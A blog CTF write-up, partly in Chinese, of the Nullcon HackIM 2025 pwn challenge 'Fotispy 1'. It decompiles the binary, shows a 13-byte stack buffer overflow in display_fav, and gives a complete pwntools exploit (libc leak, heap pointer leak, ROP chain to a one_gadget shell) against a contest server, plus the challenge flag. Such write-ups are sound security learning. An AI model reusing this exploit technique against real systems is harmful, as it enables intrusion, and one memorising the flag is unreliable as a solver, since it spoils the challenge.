落日歸山海,與你話清風。
763 words
4 minutes
Write-ups: Nullcon Berlin HackIM 2025 CTF
Fotispy 1
Information
- Category: Pwn
- Points: 500
Description
Spotify with a GUI? A true hacker only needs the terminal. Note: Despite the naming, these 7 challenges can be solved in any order and do not depend on each other.
Write-up
经过分析,得到程序用的结构体大致是这样的:
00000000 struct Userdata // sizeof=0x1800000000 {00000000 char *username;00000008 char *password;00000010 struct Favorite *favorites;00000018 };
00000000 struct Favourite // sizeof=0x1000000000 {00000000 struct Favourite *next;00000008 struct Song *song;00000010 };
00000000 struct Song // sizeof=0x3000000000 {00000000 char *title;00000008 int title_len;0000000C // padding byte0000000D // padding byte0000000E // padding byte0000000F // padding byte00000010 char *album;00000018 int album_len;0000001C // padding byte0000001D // padding byte0000001E // padding byte0000001F // padding byte00000020 char *from;00000028 int from_len;0000002C // padding byte0000002D // padding byte0000002E // padding byte0000002F // padding byte00000030 };
发现 memcpy 会复制定长数据到 dest,但是 dest 只有 13 字节,怀疑可能有 BOF。运行程序测试了一下,确实崩溃了。
TIP这里后期还得通过 display 函数泄漏 favourite 结构体的地址,因为我们不想执行第二次 while 循环,而覆盖返回地址一定会破坏原先的 favourite 结构体地址。
int display_fav(){ struct Favourite *v0; // rax char dest[13]; // [rsp+Bh] [rbp-15h] BYREF Favourite *favorites; // [rsp+18h] [rbp-8h]
if ( login_idx == -1 ) { LODWORD(v0) = puts("[-] No user has logged in yet."); } else { favorites = (Favourite *)users[(unsigned __int8)login_idx]->favorites; memset(dest, 0, sizeof(dest)); LODWORD(v0) = puts("[~] Your favorites:"); while ( favorites ) { memcpy(dest, favorites->song->title, (unsigned int)favorites->song->title_len); printf(" - Song: %s", dest); memcpy(dest, favorites->song->album, (unsigned int)favorites->song->album_len); printf(" - %s", dest); memcpy(dest, favorites->song->from, (unsigned int)favorites->song->from_len); printf(" - %s\n", dest); v0 = favorites->next; favorites = favorites->next; } } return (int)v0;}
继续分析,发现 add_song
会读取 256 字节数据,并设置对应数据的长度为 256。那配合上面的 display_fav
,就完全可以 BOF 打 ROP 了。
int add_song(){ struct Userdata *v0; // rax struct Favorite *v2; // [rsp+8h] [rbp-38h] struct Song *song; // [rsp+10h] [rbp-30h] int from_len; // [rsp+1Ch] [rbp-24h] int album_len; // [rsp+20h] [rbp-20h] int title_len; // [rsp+24h] [rbp-1Ch] char *album; // [rsp+28h] [rbp-18h] char *from; // [rsp+30h] [rbp-10h] char *title; // [rsp+38h] [rbp-8h]
if ( login_idx == -1 ) { LODWORD(v0) = puts("[-] No user has logged in yet."); } else { title = (char *)calloc(256uLL, 1uLL); from = (char *)calloc(256uLL, 1uLL); album = (char *)calloc(256uLL, 1uLL); printf("[DEBUG] %p\n", &printf); printf("[~] Please enter a song title: "); title_len = readn((__int64)title, 256LL); printf("[~] Please enter a who %s is from: ", title); album_len = readn((__int64)album, 256LL); printf("[~] Please enter which album %s is on: ", title); from_len = readn((__int64)from, 256LL); song = (struct Song *)calloc(48uLL, 1uLL); song->from = from; song->from_len = from_len; song->title = title; song->title_len = title_len; song->album = album; song->album_len = album_len; v2 = (struct Favorite *)calloc(16uLL, 1uLL); *((_QWORD *)v2 + 1) = song; *(_QWORD *)v2 = users[(unsigned __int8)login_idx]->favorites; v0 = users[(unsigned __int8)login_idx]; v0->favorites = v2; } return (int)v0;}
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, remote, u64,)
FILE = "./fotispy1"HOST, PORT = "52.59.124.14", 5191
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("./libc.so.6")
def register(target, username, password): target.sendlineafter(b"Please enter your choice [E]: ", b"0") target.sendlineafter(b"username: ", username) target.sendlineafter(b"password: ", password)
def login(target, username, password): target.sendlineafter(b"Please enter your choice [E]: ", b"1") target.sendlineafter(b"username: ", username) target.sendlineafter(b"password: ", password)
def leak(target): target.recvuntil(b"[DEBUG] ") return int(target.recvline().strip(), 16)
def add(target, song_title, song_from, song_on): target.sendlineafter(b"Please enter your choice [E]: ", b"2") printf_addr = leak(target)
target.sendlineafter(b"title: ", song_title) target.sendlineafter(b"from: ", song_from) target.sendlineafter(b"on: ", song_on) return printf_addr
def display(target): target.sendlineafter(b"Please enter your choice [E]: ", b"3")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
register(target, b"admin", b"admin") login(target, b"admin", b"admin") printf_addr = add(target, b"a", b"a", b"a") libc.address = printf_addr - libc.sym["printf"]
payload = b"A" * 0xD add(target, b"a", b"a", payload) display(target)
target.recvuntil(b"\x0a") target.recvuntil(b"\x0a") favourite_addr = u64(target.recvuntil(b"\x0a").strip()[-4:].ljust(0x8, b"\x00"))
pop_rdi = libc.address + 0x00000000000277E5 one_gadget = libc.address + 0xD515F payload = flat( b"A" * 0xD, favourite_addr, elf.bss(), pop_rdi, 0x0, one_gadget, ) add(target, b"a", b"a", payload) display(target)
target.interactive()
if __name__ == "__main__": main()
Flag
ENO{3v3ry_r0p_ch41n_st4rts_s0m3wh3r3}
Write-ups: Nullcon Berlin HackIM 2025 CTF
https://cubeyond.net/posts/write-ups/nullcon-ctf-2025/